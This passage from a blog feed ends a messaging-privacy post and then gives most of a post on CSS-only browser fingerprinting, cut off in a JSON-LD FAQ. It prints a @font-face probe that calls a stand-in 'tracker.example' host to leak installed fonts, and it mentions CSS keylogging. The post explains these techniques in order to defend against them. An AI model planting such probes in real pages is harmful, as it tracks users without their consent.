&lt;td&gt;Private: UAE-based, owned by Pavel Durov, 100% privately owned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Core weakness&lt;/td&gt;
&lt;td&gt;Desktop security: past vulnerability allowed chat cloning&lt;/td&gt;
&lt;td&gt;Identity and data: phone number tied to Meta ecosystem&lt;/td&gt;
&lt;td&gt;Server-side access: messages accessible on servers unless in &quot;Secret Chat&quot; mode&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Signal has also updated its protocol to allow users to hide their phone number from contacts after initial activation. This significantly improves anonymity while keeping phone number registration for abuse prevention. A reasonable tradeoff.&lt;/p&gt;
&lt;p&gt;WhatsApp&apos;s phone number requirement creates a persistent identity leak across Meta&apos;s entire ecosystem. Telegram&apos;s UAE jurisdiction means legal compulsion is handled under a different legal framework than most Western platforms, and its default cloud storage model means your messages exist on servers you do not control unless you specifically enable Secret Chats.&lt;/p&gt;
&lt;p&gt;None of these apps provide perfect metadata privacy. The question is which compromise aligns with your threat model.&lt;/p&gt;
&lt;h2&gt;The Privacy Ecosystem Trap&lt;/h2&gt;
&lt;p&gt;&quot;Privacy ecosystems&quot; are becoming common. Proton offers email, VPN, calendar, and password management under one account. The convenience is seductive. Your passwords, your email, your anonymous IP, all in one dashboard.&lt;/p&gt;
&lt;p&gt;This creates a catastrophic single point of failure.&lt;/p&gt;
&lt;p&gt;Consider the case of a French activist who used Proton Mail in 2021. Despite Proton&apos;s previous public claim that they &quot;do not keep any IP logs by default,&quot; a French court order compelled them to log the activist&apos;s IP address and browser fingerprint and hand them to authorities. Proton has since quietly removed that &quot;no logs&quot; promise from their site, replacing it with what critics call &quot;meaningless jargon.&quot;&lt;/p&gt;
&lt;p&gt;The mathematics of the risk are clear: if you use the same provider for your VPN and your email, a single court order allows that provider to link your &quot;anonymous&quot; email identity to your real-world IP address captured through the VPN.&lt;/p&gt;
&lt;p&gt;A spokesperson for Tuta Mail, a primary competitor, stated directly: &quot;If you have email and VPN from the same provider it is just too dangerous. If you get a court order, the email provider can look up the real IP address via their own VPN service.&quot;&lt;/p&gt;
&lt;p&gt;There is a second risk that rarely gets discussed: government geoblocking and account suspension. If a government blocks Proton in your country, you lose access to everything under that account. Your email. Your VPN. Your password manager. Your two-factor authentication tokens. Your entire digital existence, gone because you centralized it under one provider.&lt;/p&gt;
&lt;p&gt;The safer approach: diversify. Use separate providers for your VPN (Mullvad or IVPN) and your email (Tuta or Proton). Never combine the services that would let a single entity link your identity to your IP address.&lt;/p&gt;
&lt;h2&gt;Communication Triage: A Realistic Strategy&lt;/h2&gt;
&lt;p&gt;Privacy is not a destination. It is a series of daily habits. The most practical framework for managing privacy at scale is communication triage. You segment your digital life by sensitivity, just as you would segment your bank accounts.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Use Case&lt;/th&gt;
&lt;th&gt;Recommended App&lt;/th&gt;
&lt;th&gt;Rationale&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Inner circle / sensitive communications&lt;/td&gt;
&lt;td&gt;Signal&lt;/td&gt;
&lt;td&gt;Minimal metadata. No server-side access to messages. Mandatory E2EE.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Professional / work coordination&lt;/td&gt;
&lt;td&gt;WhatsApp&lt;/td&gt;
&lt;td&gt;Necessary for &quot;business as usual.&quot; Encrypted, but keep it isolated from personal secrets.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Social / broad groups&lt;/td&gt;
&lt;td&gt;Messenger / Social DMs&lt;/td&gt;
&lt;td&gt;High visibility, low privacy. Assume these conversations are public.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Niche communities / bots / large files&lt;/td&gt;
&lt;td&gt;Telegram&lt;/td&gt;
&lt;td&gt;Great features and large file sharing. Keep it off your phone if you do not want persistent notifications.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;This is not about perfection. It is about intentional compromise. Your choice of where to communicate reveals your metadata pattern. Standing out by using only Signal makes you a high-value target for sophisticated actors. This is what the &quot;blurred house&quot; effect describes: on Google Street View, a blurred house signals to every passerby that there is something valuable inside. In a world of mass data, the person using only high-security tools stands out.&lt;/p&gt;
&lt;p&gt;Effective digital sovereignty requires &quot;compartmentalized communication.&quot; Blend in with average behavior while siloing your most sensitive interactions.&lt;/p&gt;
&lt;h3&gt;Immediate Security Habits&lt;/h3&gt;
&lt;p&gt;You do not need a security degree to improve your posture. These steps take minutes:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Audit your accessibility permissions.&lt;/strong&gt; Navigate to Settings &amp;gt; Accessibility &amp;gt; Installed Apps on Android. Check every app that has been granted Accessibility Services. Only trusted applications (reputable password managers, legitimate accessibility tools) should have this permission. Treat this permission as what it is: full device surrender.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use disappearing messages.&lt;/strong&gt; Set a 4-week default for all Signal chats. This reduces the &quot;shelf life&quot; of your data on any compromised device. For highly sensitive information like passwords or home addresses, use a 1-minute timer. Signal also supports screenshots-blocking in Secret Chats.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hide your phone number.&lt;/strong&gt; In Signal, go to Settings &amp;gt; Privacy to hide your phone number from discovery and from your profile. This prevents contacts from adding you to groups without permission and reduces the identity surface area.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Keep your operating system updated.&lt;/strong&gt; Security patches close the backdoors that malware like Sternus exploits. Delaying updates is leaving doors unlocked.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Never use a single app for everything.&lt;/strong&gt; Your personal messages. Your work communications. Your social updates. Keep them separate. The segmentation itself is a layer of defense.&lt;/p&gt;
&lt;h2&gt;The Bottom Line&lt;/h2&gt;
&lt;p&gt;Encryption is doing its job. That is exactly why attackers have moved their focus to you, the user.&lt;/p&gt;
&lt;p&gt;To maintain digital sovereignty (the fundamental right to control what happens on your own device), you must treat your smartphone as a perimeter that requires constant defense. Your encryption protects the content. Your habits protect the metadata. Your app choices protect your data footprint. Your governance research protects your long-term trust.&lt;/p&gt;
&lt;p&gt;Privacy is a spectrum. You do not have to be perfect. You just have to be intentional.&lt;/p&gt;
</content:encoded></item><item><title>How Browser Fingerprinting Works Without JavaScript</title><link>https://didof.dev/blog/browser-fingerprinting-without-javascript/</link><guid isPermaLink="true">https://didof.dev/blog/browser-fingerprinting-without-javascript/</guid><description>CSS alone leaks your installed fonts to any site, no JavaScript needed. Why a 1-in-15,000 fingerprint survives VPN and incognito, and which browser fixes it.</description><pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import FontDetector from &quot;./font-detector.astro&quot;;
import Mermaid from &quot;@/components/mermaid.astro&quot;;&lt;/p&gt;
&lt;p&gt;Open the developer tools on any site, switch to the Network tab, filter by &lt;code&gt;Fetch/XHR&lt;/code&gt;. Reload. You&apos;ll see the API calls. You&apos;ll see the analytics ping. You&apos;ll see the third-party ad scripts your ad-blocker is busy stomping on.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;You will not see the thing that&apos;s already identified you.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Most of the tracking conversation circles around &lt;strong&gt;cookies&lt;/strong&gt; and &lt;strong&gt;third-party JavaScript&lt;/strong&gt;, because those are the parts you can watch happen. The harder layer underneath doesn&apos;t make network calls in patterns your blocker recognizes. It doesn&apos;t ask permission. It often doesn&apos;t run JavaScript at all. It reads features of your machine that are &lt;em&gt;bolted on&lt;/em&gt;, and there is no setting in Chrome that will turn it off.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Browser fingerprinting works without JavaScript. A pure CSS technique can enumerate the fonts installed on your system, and your installed font list is one of the highest-entropy identifiers in the web.&lt;/li&gt;
&lt;li&gt;Ad-blockers don&apos;t catch it. There is no API call to block. The signal is in how the browser lays out text.&lt;/li&gt;
&lt;li&gt;VPNs and incognito don&apos;t fix it. A VPN rewrites your IP. Incognito clears cookies. Neither touches the way your installed copy of Helvetica Neue renders a string of text.&lt;/li&gt;
&lt;li&gt;Chrome ships &lt;em&gt;passive&lt;/em&gt; fingerprinting protection (User-Agent Reduction, default-on since Chrome 116) but no active protection against font, canvas, or WebGL fingerprinting. The attack in this post is active fingerprinting, which Chrome does not address.&lt;/li&gt;
&lt;li&gt;On top of that, Chrome has been silently downloading a 4 GB Gemini Nano model onto user disks without consent. Independent reason to remove it.&lt;/li&gt;
&lt;li&gt;Firefox in Strict mode and the DuckDuckGo browser both ship fingerprinting protection on by default. Run EFF&apos;s Cover Your Tracks test before and after switching to see your own uniqueness score change.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;How Does Browser Fingerprinting Work Without JavaScript?&lt;/h2&gt;
&lt;p&gt;A website wants to know which fonts are on your machine. The &lt;strong&gt;textbook way uses JavaScript&lt;/strong&gt;: ask the browser to render a string, measure its width with &lt;code&gt;canvas.measureText&lt;/code&gt;, compare against a reference. Adblockers catch some of this. Brave and Tor randomize the result.&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;harder&lt;/em&gt; version uses no JavaScript. It works like this.&lt;/p&gt;
&lt;p&gt;The trick lives in CSS &lt;code&gt;@font-face&lt;/code&gt;, specifically in the &lt;code&gt;src:&lt;/code&gt; chain. A rule can say &lt;em&gt;&quot;try the local font first, and if that&apos;s missing, fetch this URL.&quot;&lt;/em&gt; That&apos;s by design, it&apos;s how web typography degrades gracefully. The exploitation is to make the URL a &lt;strong&gt;uniquely tagged exfil endpoint&lt;/strong&gt;, one per font name, and then watch which URLs the browser actually requests.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@font-face {
  font-family: &quot;Probe-Cambria&quot;;
  src: local(&quot;Cambria&quot;), url(&quot;https://tracker.example/probe?font=cambria&quot;);
}

.invisible-probe {
  font-family: &quot;Probe-Cambria&quot;, monospace;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If &lt;strong&gt;Cambria is installed&lt;/strong&gt;, the browser resolves &lt;code&gt;local(&quot;Cambria&quot;)&lt;/code&gt; and &lt;em&gt;never fires the URL request&lt;/em&gt;. Nothing happens on the network. If Cambria is &lt;strong&gt;missing&lt;/strong&gt;, the browser falls through the &lt;code&gt;src:&lt;/code&gt; chain to the &lt;code&gt;url(...)&lt;/code&gt; and &lt;em&gt;fetches it as a webfont&lt;/em&gt;. The fetch itself is the signal: the server now knows your machine doesn&apos;t have Cambria. Repeat the pattern for hundreds of font names and the inverse-fingerprint emerges from your request log.&lt;/p&gt;
&lt;p&gt;Two things to keep separate, because they look similar and aren&apos;t:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A plain &lt;code&gt;font-family: &quot;Cambria&quot;, monospace&lt;/code&gt; declaration &lt;strong&gt;never&lt;/strong&gt; triggers a network request. The browser only does a system-font lookup, and if Cambria is missing it silently uses &lt;code&gt;monospace&lt;/code&gt;. This is what the &lt;em&gt;demo widget&lt;/em&gt; below uses, which is why I can promise it costs zero bandwidth.&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;@font-face&lt;/code&gt; rule with a &lt;code&gt;url(...)&lt;/code&gt; in its &lt;code&gt;src:&lt;/code&gt; chain &lt;em&gt;can&lt;/em&gt; trigger a network request, but &lt;strong&gt;only when every earlier entry fails&lt;/strong&gt;. The exfil trick weaponizes that: it plants a URL precisely where the browser will reach for it when the local font is absent.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One last thing to flag: the JavaScript path is actually &lt;em&gt;more&lt;/em&gt; powerful per probe than the CSS path. &lt;code&gt;canvas.measureText(&quot;mmmm&quot;)&lt;/code&gt; returns a &lt;code&gt;TextMetrics&lt;/code&gt; object with sub-pixel precision like &lt;code&gt;147.3984375&lt;/code&gt;, so each font yields a continuous-value signal instead of the CSS path&apos;s binary present-or-absent. The no-JS attack wins on stealth. The JS attack wins on entropy per measurement. Either way, your installed font list is the fingerprint.&lt;/p&gt;
&lt;p&gt;The server, importantly, &lt;strong&gt;only directly observes absences&lt;/strong&gt;, the URLs that got fetched. Presence is &lt;em&gt;inferred by elimination&lt;/em&gt;: the server sent 500 probe rules in the CSS, it got hits on 180 URLs, so those 180 fonts are missing and the other 320 are inferred present. That inverse list is the fingerprint.&lt;/p&gt;
&lt;p&gt;&amp;lt;Mermaid
chart={&lt;code&gt;flowchart TD   A[&quot;Page loads&amp;lt;br/&amp;gt;CSS ships 500 font-face rules&amp;lt;br/&amp;gt;each with a local font and a probe URL&quot;] --&amp;gt; B[&quot;Browser renders a hidden span&amp;lt;br/&amp;gt;using font-family Probe-Cambria&quot;]   B --&amp;gt; C{Is Cambria&amp;lt;br/&amp;gt;installed locally?}   C --&amp;gt;|Yes, font present| D[&quot;Browser uses the local copy&amp;lt;br/&amp;gt;Probe URL is never fetched&quot;]   C --&amp;gt;|No, font missing| E[&quot;Browser fetches the probe URL&amp;lt;br/&amp;gt;Server logs the hit&quot;]   D --&amp;gt; F[&quot;Repeat for 500 font names&amp;lt;br/&amp;gt;Calibri, Avenir, Myriad Pro, etc.&quot;]   E --&amp;gt; F   F --&amp;gt; G[&quot;Server sees the list of hits&amp;lt;br/&amp;gt;Infers installed fonts by elimination&amp;lt;br/&amp;gt;13.9 bits of entropy (Panopticlick, 2010)&quot;] &lt;/code&gt;}
/&amp;gt;&lt;/p&gt;
&lt;p&gt;The same &lt;code&gt;background-image: url(...)&lt;/code&gt; primitive sits behind a &lt;strong&gt;separate attack you may have seen before&lt;/strong&gt;: &lt;em&gt;CSS keylogging&lt;/em&gt;, where a font-conditional background URL fires every time the user types a specific character into a tracked input. I walked through that one in &lt;a href=&quot;https://www.instagram.com/p/DUV4kw2gi2V/&quot;&gt;a short Instagram demo&lt;/a&gt;. Same family of trick, different signal: there the leak is keystrokes, here the leak is your installed font list. CSS is a richer side-channel than most people realize. The broader category of in-browser exploits, including the JavaScript side of this story, lives in &lt;a href=&quot;/blog/penetration-and-security-in-javascript&quot;&gt;Penetration and Security in JavaScript&lt;/a&gt; if you want the adjacent ground.&lt;/p&gt;
&lt;p&gt;To DevTools, none of this looks suspicious. The Network tab shows what looks like &lt;em&gt;webfont resource downloads&lt;/em&gt;. There is no &lt;code&gt;fetch()&lt;/code&gt; call to step over, no XHR to inspect, no JavaScript stack to read. The fingerprint is encoded in the &lt;em&gt;pattern&lt;/em&gt; of requests, not in any single one.&lt;/p&gt;
&lt;p&gt;I built a small demo of the underlying width-comparison primitive below. &lt;strong&gt;It runs no JavaScript and downloads no fonts.&lt;/strong&gt; The probe just asks the browser to lay out a string in &lt;code&gt;font-family: &quot;TargetFont&quot;, serif|sans-serif|monospace&lt;/code&gt;. If the target is installed, the browser uses it and the three samples line up at the same width. If the target is missing, the browser uses the fallback baseline and the three widths drift apart. &lt;em&gt;Pure layout, zero network traffic.&lt;/em&gt; It&apos;s collapsed by default so the section costs nothing on load.&lt;/p&gt;
&lt;p&gt;&amp;lt;FontDetector /&amp;gt;&lt;/p&gt;
&lt;p&gt;The control row at the bottom (&lt;code&gt;MadeUpFont-DoesNotExist&lt;/code&gt;) is the &lt;strong&gt;calibration&lt;/strong&gt;: that font is not on any machine, so its three samples should not match. Use it as your baseline for &lt;em&gt;what a miss looks like&lt;/em&gt;. Then scan up. &lt;strong&gt;Adobe Creative Cloud&lt;/strong&gt; installs Myriad Pro and Minion Pro. &lt;strong&gt;Microsoft Office&lt;/strong&gt; adds Calibri and Cambria. &lt;strong&gt;Developers&lt;/strong&gt; tend to have Source Code Pro, Fira Code, JetBrains Mono. The cocktail of fonts you do and don&apos;t have is your machine, &lt;em&gt;near-uniquely&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Why Your Font List Is the Strongest Fingerprint Signal&lt;/h2&gt;
&lt;p&gt;The mathematical claim sounds steep until you see the numbers. From the &lt;a href=&quot;https://coveryourtracks.eff.org/learn&quot;&gt;EFF&apos;s Cover Your Tracks learn page&lt;/a&gt;, browser fingerprinting &quot;uses more permanent identifiers such as hardware specifications and browser settings&quot; and remains &quot;harder to change and impossible to delete&quot; than cookies. Font enumeration is one of the highest-entropy signals in that fingerprint.&lt;/p&gt;
&lt;p&gt;Why so much entropy? Because &lt;strong&gt;nobody installs the same software&lt;/strong&gt;. Adobe Creative Cloud ships around &lt;em&gt;182 fonts&lt;/em&gt; when you install the full suite. Microsoft Office adds about &lt;em&gt;60&lt;/em&gt;. Spotify ships its own house font. AutoCAD, Logic Pro, Final Cut: every design tool layers more. The original 2010 &lt;a href=&quot;https://coveryourtracks.eff.org/&quot;&gt;Panopticlick research by Peter Eckersley&lt;/a&gt; (now rebranded as Cover Your Tracks) measured the System Fonts metric alone at &lt;strong&gt;13.9 bits of entropy&lt;/strong&gt;, which works out to roughly &lt;em&gt;one browser in fifteen thousand&lt;/em&gt;. That was 2010, on a dataset where most users had vanilla installs. A 2026 laptop with Photoshop, Illustrator, Office, and a developer&apos;s Nerd Fonts directory is well past that baseline, often alone in any plausible sample.&lt;/p&gt;
&lt;p&gt;The font list isn&apos;t the only signal. It&apos;s representative of a category. Your screen resolution, your timezone, the exact list of HTTP headers your browser sends, the platform string, the language preferences, the supported codecs, the WebGL renderer name, the available system colors. Each of these alone is weak. Stitched together, they form an identifier that survives the things you thought were protecting you.&lt;/p&gt;
&lt;h2&gt;What&apos;s the Difference Between Cookies and Fingerprints?&lt;/h2&gt;
&lt;p&gt;I like the analogy EFF uses on the learn page, because once you see it you stop conflating the two problems.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;cookie&lt;/strong&gt; is a GPS tracker stuck to the underside of a car. It&apos;s an &lt;em&gt;external device&lt;/em&gt; that gets clipped on. You can find it. You can clip it off. The car is no longer being tracked. This is roughly the protection model for &lt;em&gt;clear cookies on close&lt;/em&gt; or &lt;em&gt;block third-party cookies&lt;/em&gt;. It works for that class of attack and it works well.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;fingerprint&lt;/strong&gt; is the license plate, the dent in the rear bumper, the way the engine sounds at idle. It&apos;s &lt;em&gt;not a tracker that got attached&lt;/em&gt; to the car. It &lt;strong&gt;is&lt;/strong&gt; the car. You don&apos;t delete a license plate. You buy a different car, or you drive in a city where everyone has an identical car.&lt;/p&gt;
&lt;p&gt;The browsers that take fingerprinting seriously work along the second line. &lt;strong&gt;Tor doesn&apos;t try to &lt;em&gt;delete&lt;/em&gt; your fingerprint&lt;/strong&gt;, it tries to make every Tor user look like the &lt;em&gt;same generic Tor user&lt;/em&gt;. Same screen size, same fonts, same fixed list of HTTP headers. Identical cars, packed into the same garage.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Chrome doesn&apos;t try.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Why VPN, Incognito, and Ad-Blockers Don&apos;t Help&lt;/h2&gt;
&lt;p&gt;If you ran the CSS font detector above and saw a clear fingerprint emerge, watch what happens when you imagine the standard privacy stack on top.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;VPN&lt;/strong&gt; tunnels your traffic through another server. It &lt;em&gt;rewrites your source IP&lt;/em&gt;. It does &lt;strong&gt;not&lt;/strong&gt; change the fact that your copy of Avenir Next renders &lt;code&gt;mmmmmmmmlli&lt;/code&gt; at a width specific to your installed weight of Avenir Next. The fingerprint travels through the tunnel &lt;em&gt;unmodified&lt;/em&gt;. Same fingerprint, different exit IP. A tracker that&apos;s looking at the fingerprint will recognize you across both IPs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Incognito mode&lt;/strong&gt; wipes cookies and history when you close the window. It does not uninstall your fonts. It does not change your screen resolution or your timezone. The next time you open an incognito window on the same machine, &lt;em&gt;the fingerprint is identical&lt;/em&gt;. Google&apos;s own Chrome incognito mode provides &lt;strong&gt;zero&lt;/strong&gt; protection against fingerprinting. Firefox&apos;s Private Browsing blocks known fingerprinters from a Disconnect list, which catches &lt;em&gt;some but not all&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ad-blockers&lt;/strong&gt; cross-reference blocklists of domains and JavaScript file URLs. They &lt;em&gt;cannot block a layout calculation&lt;/em&gt;. The CSS font measurement above produced visible evidence on this page without making a single request to a known tracker domain. Your blocker is not wrong, it just &lt;em&gt;isn&apos;t built for this layer&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The protection you actually have, when you stack a VPN and incognito and uBlock Origin, is &lt;strong&gt;real&lt;/strong&gt;. It is not nothing. It targets a &lt;em&gt;different&lt;/em&gt; problem. Treating it as protection against fingerprinting is the mistake. The same lesson applies if you&apos;re auditing other parts of your stack: I wrote up the &lt;a href=&quot;/blog/secure-qr-code-generator-privacy-first&quot;&gt;privacy-first QR code generator I shipped on linkpreview.ai&lt;/a&gt; precisely because most online QR generators leak the encoded URL to a third-party server before the image ever reaches you. Different surface, identical class of mistake.&lt;/p&gt;
&lt;h2&gt;Why Is Chrome the Worst Browser for Privacy Right Now?&lt;/h2&gt;
&lt;p&gt;Two reasons.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;first&lt;/strong&gt; is the one this whole post is about. I want to be precise here, because I had it wrong in an earlier draft and a reader caught me. Chrome &lt;strong&gt;does&lt;/strong&gt; ship some fingerprinting protection, specifically &lt;a href=&quot;https://privacysandbox.google.com/protections/user-agent&quot;&gt;User-Agent Reduction&lt;/a&gt;, which has been default-on since Chrome 116 stable (released August 2023, with the deprecation trial ending that September). It strips high-entropy bits (exact browser version, full OS string, platform details) from the User-Agent header and forces sites that want them to request them via the Client Hints API. That&apos;s real &lt;em&gt;passive&lt;/em&gt; fingerprinting protection and it should be credited.&lt;/p&gt;
&lt;p&gt;What Chrome does &lt;strong&gt;not&lt;/strong&gt; ship is &lt;em&gt;active&lt;/em&gt; fingerprinting protection. There&apos;s no font enumeration limit, no canvas randomization, no WebGL renderer masking, no defense against any of the techniques the EFF &quot;Cover Your Tracks&quot; learn page covers. The attack in this post is active fingerprinting, and User-Agent Reduction does nothing about it. The Tor and Firefox teams have spent years on the active side of the surface. Google has chosen not to compete there. The result is that the browser most of the world uses still &lt;strong&gt;surrenders the most fingerprint signal&lt;/strong&gt; that actually matters in 2026, even with UA Reduction shipped.&lt;/p&gt;
&lt;p&gt;(The red banner you&apos;ll see on that Privacy Sandbox page reads &lt;em&gt;&quot;Some Privacy Sandbox technologies are being phased out.&quot;&lt;/em&gt; That refers to the ad-tech APIs like Attribution Reporting and Protected Audience, not to UA Reduction. UA-CH itself stays.)&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;second&lt;/strong&gt; is more recent and is the reason I&apos;m raising my voice about Chrome specifically. Google has been &lt;em&gt;silently downloading&lt;/em&gt; the Gemini Nano model onto Chrome installations. We&apos;re talking roughly &lt;strong&gt;4 GB of disk&lt;/strong&gt; consumed without a consent dialog, without a notification, without a &lt;em&gt;&quot;what is this and why is it on my disk&quot;&lt;/em&gt; surface anywhere in the standard UI. I walked through it on disk in &lt;a href=&quot;https://www.youtube.com/shorts/b3ykkzI8t8M&quot;&gt;a YouTube Short&lt;/a&gt; earlier this year. Here&apos;s the receipt from my own machine:&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;
&lt;img src=&quot;./chrome-gemini-nano-disk.png&quot; alt=&quot;Terminal screenshot of du -sh against Chrome&apos;s OptGuideOnDeviceModel folder
showing 4.0G for weights.bin&quot; /&gt;
&amp;lt;figcaption&amp;gt;
&amp;lt;code&amp;gt;du -sh&amp;lt;/code&amp;gt; on{&quot; &quot;}
&amp;lt;code&amp;gt;
~/Library/Application
Support/Google/Chrome/OptGuideOnDeviceModel/.../weights.bin
&amp;lt;/code&amp;gt;
. 4 GB of model weights, no consent prompt, no in-product surface telling
the user it&apos;s there.
&amp;lt;/figcaption&amp;gt;
&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;Browsers shouldn&apos;t be downloading multi-gigabyte ML models without telling the user. The fingerprinting decision is &lt;em&gt;editorial&lt;/em&gt;: Google could ship protection and chose not to. The Gemini Nano decision is &lt;em&gt;operational&lt;/em&gt;: Google could prompt and chose not to. &lt;strong&gt;Pattern.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If your machine has Chrome on it for a reason (specific work tool, specific extension), keep that. For &lt;em&gt;daily reading&lt;/em&gt;, uninstall it.&lt;/p&gt;
&lt;h2&gt;Which Browser Protects Against Fingerprinting?&lt;/h2&gt;
&lt;p&gt;I&apos;ll keep this short because the right answer depends on how much friction you tolerate.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Firefox with Enhanced Tracking Protection set to Strict.&lt;/strong&gt; Go to Settings, search for &quot;tracking protection,&quot; and switch from Standard to Strict. Strict mode enables known-fingerprinter blocking via the Disconnect list and applies font enumeration protection. The downside is that some sites you don&apos;t use often will start to wobble. The fix when that happens is a per-site exception, not a global downgrade. Mozilla&apos;s &lt;a href=&quot;https://support.mozilla.org/en-US/kb/enhanced-tracking-protection-firefox-desktop&quot;&gt;Enhanced Tracking Protection docs&lt;/a&gt; cover the toggle and the consequences.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DuckDuckGo browser.&lt;/strong&gt; &lt;em&gt;Default-on&lt;/em&gt; fingerprinting protection, &lt;em&gt;default-on&lt;/em&gt; tracker blocking, no configuration needed. Lower ceiling than Firefox if you want to deeply customize, higher floor if you just want defaults that work. Their &lt;a href=&quot;https://duckduckgo.com/duckduckgo-help-pages/privacy/web-tracking-protections/&quot;&gt;web tracking protections page&lt;/a&gt; lists what they block. If you want to push private-by-default further into your search stack, I wrote up &lt;a href=&quot;/blog/setup-n8n-and-searxng-locally&quot;&gt;running n8n and SearXNG locally&lt;/a&gt; earlier this year, SearXNG is the metasearch frontend that doesn&apos;t profile you.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tor Browser.&lt;/strong&gt; Still the strongest defense for the same reason it always was: everyone using Tor looks the same to the fingerprinter. The &lt;a href=&quot;https://2019.www.torproject.org/projects/torbrowser/design/#fingerprinting-linkability&quot;&gt;Tor design doc on fingerprinting&lt;/a&gt; is the canonical reference if you want to understand exactly how the project pulls this off. Slow, awkward for everyday use, peerless when you need it.&lt;/p&gt;
&lt;p&gt;One trap to avoid: don&apos;t try to manually anonymize Chrome by installing a stack of privacy extensions. The EFF learn page calls this out directly. Each protection you add becomes part of your fingerprint. A user with the rare combination of &quot;Chrome plus uBlock plus Canvas Blocker plus User-Agent Switcher plus Decentraleyes&quot; is, paradoxically, more identifiable than a stock Chrome user, because almost no one else has that exact combination.&lt;/p&gt;
&lt;p&gt;The right unit of change is the browser, not the extensions.&lt;/p&gt;
&lt;h2&gt;How Do You Test Your Own Fingerprint?&lt;/h2&gt;
&lt;p&gt;The EFF runs a public fingerprint test at &lt;a href=&quot;https://coveryourtracks.eff.org&quot;&gt;coveryourtracks.eff.org&lt;/a&gt;. It probes your browser the way a real tracker would and reports a number: how many browsers, out of the millions in their dataset, share your exact fingerprint. The number under the &quot;Fonts&quot; row is the one worth staring at. Here&apos;s what mine looks like on stock Chrome:&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;
&lt;img src=&quot;./eff-result.png&quot; alt=&quot;EFF Cover Your Tracks results page, headline reads &apos;Our tests indicate that
you are not protected against tracking on the Web&apos; with a table showing
&apos;Blocking tracking ads: No&apos;, &apos;Blocking invisible trackers: No&apos;, &apos;Protecting
you from fingerprinting: Your browser has a unique
fingerprint&apos;&quot; /&gt;
&amp;lt;figcaption&amp;gt;
The result of running Cover Your Tracks on stock Chrome. &quot;Your browser has a
unique fingerprint&quot; is the line that matters.
&amp;lt;/figcaption&amp;gt;
&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;Run it once on whatever you use today. Switch browsers. Run it again. The uniqueness score should drop visibly. If it doesn&apos;t, the browser you switched to has the same exposure profile and you should keep moving.&lt;/p&gt;
&lt;p&gt;The thing I want you to take away is &lt;em&gt;structural&lt;/em&gt;, not tactical. You can spend an afternoon reading every privacy guide on the internet, install a dozen extensions, route every request through a VPN, browse exclusively in incognito, and &lt;strong&gt;still leak more than enough to be tracked&lt;/strong&gt;, because the layer that matters runs without permission slips and without API calls. Cookies were the conversation a decade ago. They aren&apos;t the conversation now. The conversation now is &lt;em&gt;which browser you load when you open a laptop in the morning&lt;/em&gt;, and Google&apos;s isn&apos;t on the list of right answers.&lt;/p&gt;
&lt;p&gt;If you want to act on this today: install &lt;a href=&quot;https://duckduckgo.com/&quot;&gt;the DuckDuckGo browser&lt;/a&gt; or set Firefox to Strict, run Cover Your Tracks before and after, and watch the uniqueness number move. That&apos;s the whole loop.&lt;/p&gt;
&lt;p&gt;&amp;lt;script
type=&quot;application/ld+json&quot;
set:html={JSON.stringify({
&quot;@context&quot;: &quot;https://schema.org&quot;,
&quot;@type&quot;: &quot;FAQPage&quot;,
mainEntity: [
{
&quot;@type&quot;: &quot;Question&quot;,
name: &quot;How does browser fingerprinting work without JavaScript?&quot;,
acceptedAnswer: {
&quot;@type&quot;: &quot;Answer&quot;,
text: &quot;CSS @font-face rules with a src: chain of local() then url() leak which fonts are installed. If the local font resolves, the URL is never fetched. If the local font is missing, the browser fetches the probe URL and the server logs the hit. Repeated across hundreds of font names, the pattern of requests reconstructs your installed-font fingerprint without running a single line of JavaScript.&quot;,
},
},
{
&quot;@type&quot;: &quot;Question&quot;,
